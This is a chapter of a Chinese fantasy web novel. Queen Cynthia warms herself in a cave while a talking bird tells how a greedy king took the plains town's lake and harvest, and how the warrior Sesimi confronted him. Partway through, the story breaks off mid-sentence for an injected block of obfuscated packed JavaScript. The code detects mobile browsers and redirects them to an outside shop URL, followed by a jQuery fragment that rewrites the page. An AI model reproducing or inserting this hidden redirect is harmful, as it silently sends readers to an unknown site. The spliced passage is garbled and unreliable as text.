错了?错在哪儿?辛西娅追问,黄园丁反而不肯再说了。
“那我换个问题,你认识蓝山鸲吗?我们一路过来都没见到它,你知不知道她住在哪个房间?这个总能说吧。”辛西娅找了条树多的小路避着风走,这样浑身湿着走下去不行,必须得找个地方把衣服烤干,她看见前面像是有个靠着崖壁的矮洞,于是改道朝那边快步走去。
黄园丁晃了晃脑袋,“咕咕,抓紧点,咕咕,漏风。”
明白了,不能就这么简单地告诉她,还有条件。
“我也同样没想过,尊贵的先王后陛下们一个个看着不大,身上的秘密倒是有很多。”她玩笑似地抬起拿着黄园丁的手放在眼前,“背负这么多辛不辛苦?有什么我能帮忙减负的吗。”
“咕咕,假话,你也说假话。”
说着话,矮洞一步步近了,辛西娅望去,刚好能看清洞的轮廓和里面的构造。洞不大,附近没有野兽的痕迹,洞内看起来最多容纳两个人,一个人钻进去生个火勉强能活动得开,但对她们来说已经够了。
“走吧,先烤烤。”她的意思是烤火取暖,话传到黄园丁耳朵里好像变了个意思,它大大瞪圆了眼珠怪叫一声,“咕咕!不要!不要火!!”
“不烤火你会冻死的。”尽管这么说,辛西娅还是把它放在稍远一些的地上,自己在洞口捡了点树枝堆在一起,搓了个火苗扔上去。
黄园丁跳着脚节节后退至辛西娅身后,绳子绷紧。变成小动物之后怕火好像成了本能。
她布置好火堆后,脱下裙子拧干,挂在洞口,既能挡风又能顺道烤干。挨着火堆的那半边还没适应温度,她抱着膝盖和黄园丁缩在一起,顺手掏出躲在背后挣扎的鸟,擦掉它外层羽毛上覆盖的冰屑。
既然不能烤火,至少要把身上的冰清理掉。虽然知道可能性不大,但以防羽毛下还有没处理到的,辛西娅拎着黄园丁两只翅膀像筛子一样抖了抖,每抖一下都伴随着黄园丁的大叫,“咕!住住住住手手!!”
树林里雪咯吱咯吱地交替响了几声,大概率是腐烂的树枝掉落,砸在雪上发出的。
“马上就好了。”辛西娅无视了它的请求,换来黄园丁更剧烈的挣扎,“咕咕!住手!咕咕!可以说!可以说!”
辛西娅:“?”她只是想烤火暖和暖和,真的不是想要威胁它的意思……
不过只要结果对了,被当成坏人也行。辛西娅把清理好的黄园丁放好,郑重地做了个请的手势,等待它的答案。
黄园丁跳了两下站直,抬头挺胸又恢复了神气,“咕咕,问题的理由,问题的原因,狡猾的渡鸦找上了你?”
“嗯,确实。”看来它都知道,那就没什么要隐瞒的,辛西娅道,“我来替它传达对蓝山鸲的歉意。”
“咕咕,你相信了?”
“……它是道歉不是骂人,就算是假的,一句道歉的话应该也不会伤害到蓝山鸲。”她想起渡鸦奋力飞进城堡的样子,回到道。不是真心感到抱歉的话,费这么大力气做什么。
“咕咕,天真的王后,你不了解。”黄园丁甩着脑袋急切否定她的解释,“咕咕,贪婪的欲望,咕咕,蒙蔽国王的双眼。膨胀,膨胀,咕咕,欲望会膨胀!”
“你是说利柏还是?”
“咕咕!国王!曾经的国王!”黄园丁激动地叫着,很快它就想到什么垂下头去,眼皮垂下一半背对着辛西娅,“一样的国王……”
事情好像变得复杂起来了。
“等一下,你不会是想说,渡鸦们实际上是国王?”辛西娅不确定地猜测,今晚要发生什么不得了的大事吗?这么多重磅消息全涌上来了……
黄园丁惊讶又高深地猛一扭头,“咕,你不知道?”
“……对,我不知道。”连典籍都没记载,她应该从哪里知道?
一人一鸟面面相觑,辛西娅感觉她的脑袋里目前至少有一千只蜜蜂同时在嗡嗡吵。
王座山照不进阳光荆棘环绕,山巅城堡空空荡荡,盘旋在山腰的乌鸦是王国曾经的主人,王后们化作被囚禁在笼子里的鸟……好像虚空之中有根线正拽着她朝某个可怕的既定宿命一路奔驰,那会是什么……
“咕咕,蓝山鸲,咕咕,不想听道歉,不原谅国王。”黄园丁跳到她肩膀上,和她一起注视着火堆,火苗在眼睛里翻腾,它说,“可恶的国王,咕咕,蓝山鸲是被强留下的,咕咕。”
它是说蓝山鸲是被当时在任的那位国王强留下来的,辛西娅默不作声在心里替它翻译,并点点头听它继续说下去。
“咕咕,你知不知道,平原城镇,丰收年,咕咕,蓝山鸲来到城堡……”
黄园丁讲,时轮722年,距今已有231年的历史,那时的王国正处于百年难得一遇的繁荣时期,平原城镇的湖泊一夜之间涨水漫延至多个相邻的城镇,又在土地被灌溉透后奇迹般退去,一连十数日的好天气把土壤晒得正好。那一年,平原城镇迎来了史无前例的大丰收。
从春到冬,整个城镇的土地被人们开垦了个遍,每一处都覆满当季的颜色,青,绿,红,黄,紫,数不尽的果实从这里被运往王国各地,又变成成箱的金子运回平原,城镇里每个人脸上的笑容都从清晨洋溢到午夜,多少人慕名来到平原城镇生活定居。那时候人们想,要是每年都能出现这样的奇迹该有多好啊。
但是,奇迹之所以被称为奇迹,就是因为它稀缺且珍贵。人们一旦品尝过丰饶的滋味,再回到平常年代就感到难耐,更不用提贫瘠的日子。
或许那场丰收透支了往后几年的好运气,平原的收成一年不如一年,刚开始大家还能平常心的劝劝自己安慰安慰邻居,好运不常有,再努力来过也是一样的,说不定明年湖水就再次涨起来了呢?
大家每
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17051374|187421||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年都这样想,劳作也越来越辛苦,可湖水却日渐干涸。宽阔的湖堤向内一圈圈缩小,留下树桩年轮般的印记,直到某一天,农田水渠再也流不出一滴水,有人对着枯死的作物无声哭泣,他们真的交不起给城主的税款了!
“屑克,和雪原一样……”辛西娅骂了一声。
黄园丁摆摆翅膀,“咕咕,别担心,咕咕,还有办法。”
一个比常见的馊主意香不了多少的办法——请求彼时在任国王的恩典。
辛西娅听得眉头皱起来,给自己捏了两下缓缓,顺便找了个小棍子扒拉扒拉火堆,把下面的树枝翻上来烧。
国王很爽快的同意了,谁也不知道他是怎么同意的,总之教会的人就是这么说。
于是,湖泊再次充盈起来,作物得到灌溉,人们有了食物。但是相应的,收获就得付出代价,或者说,支付给国王的报酬。
“一年充盈湖泊的价格是三成作物。”教会的人转达国王的意思。
三成作物几乎是半城人一年的食物,城镇居民纷纷反对,走到大街上,城镇中央示威。照看王国的子民本来就是国王应尽的义务,怎么还要报酬,更何况还是这么高价无理的报酬,简直荒谬!
“不想支付的话,就从隔壁的隔壁城镇借水来吧。”教会的人再次转达。
这次没有人敢再说话,因为湖泊真的一夜之间消失了,像是从未存在过一般彻彻底底的消失。
借水几乎不可能实现,城镇不得不送成熟的作物去往城堡。一年又一年,湖泊如常,丰收如常,然而到了第三年,教会的人忽然又称,国王改变了心意,从今年起,城镇每年要送七成作物去往城堡。
七成!七成!!!
剩下三成不用说出售,就算全部用以城镇的人自己吃也远远不够。人们无法忍受了,纷纷逃离平原城镇,搬迁到别的地方去生活。可总有人不得不留下来,蓝山鸲就是这些人中的一个。那时候她的名字叫做塞丝弥。
“咕咕,战士的塞丝弥!强弩的塞丝弥!”黄园丁叫好道。
家乡受到不公正的待遇,塞丝弥带上她的弩箭同逃离的人一起离开了,只不过她的方向不同,她要登上城堡问问国王,为什么他敢作出如此贪得无厌的敕令,她要他收回对平原城镇无理的要求,归还多索取的作物。
“她成功了吗?”辛西娅眼睛亮起来,从前在雪原她从没有听过这段历史。
值得高兴的是,塞丝弥真的成功了。一路上,有人劝她不要去挑衅国王,白白送死,有人为她欢欣鼓舞,献上鲜花和敬意。带着质疑和鼓励,塞丝弥的剑劈开王座山的荆棘,她的弩射穿了盘亘的厚厚云层,推开城堡大门的当天,国王修改的命令便随着钟声传遍整个王国,平原城镇的人们终于解脱地松了口气。
只有塞丝弥被永远留在了城堡里。
辛西娅:“为什么?!”